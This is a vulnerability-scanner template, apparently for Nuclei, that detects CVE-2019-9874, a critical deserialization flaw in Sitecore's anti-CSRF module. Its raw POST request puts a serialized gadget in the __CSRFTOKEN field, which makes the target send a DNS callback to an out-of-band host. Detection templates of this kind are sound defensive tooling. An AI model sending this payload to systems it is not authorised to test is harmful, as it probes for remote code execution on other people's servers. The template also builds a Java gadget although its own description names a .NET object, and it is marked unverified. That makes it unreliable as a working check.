id: CVE-2019-9874

info:
  name: "Sitecore.Security.AntiCSRF - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Deserialization of Untrusted Data in the Sitecore.Security.AntiCSRF (aka anti CSRF) module in Sitecore CMS 7.0
    to 7.2 and Sitecore XP 7.5 to 8.2 allows an unauthenticated attacker to execute arbitrary code by sending a
    serialized .NET object in the HTTP POST parameter __CSRFTOKEN.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2019-9874&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sitecore&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9874
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2019,sitecore,deserialization,rce,kev,vkev,vuln
http:
  - raw:
      - |
        POST /sitecore/shell/Applications/Security/CreateNewUser/CreateNewUser.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: __CSRFCOOKIE={{randstr}};

        __CSRFTOKEN={{generate_java_gadget("dns", "https://{{interactsh-url}}", "base64")}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PotentialCsrfException"
          - "deserialization"
        condition: and
        case-insensitive: true

      - type: status
        status:
          - 500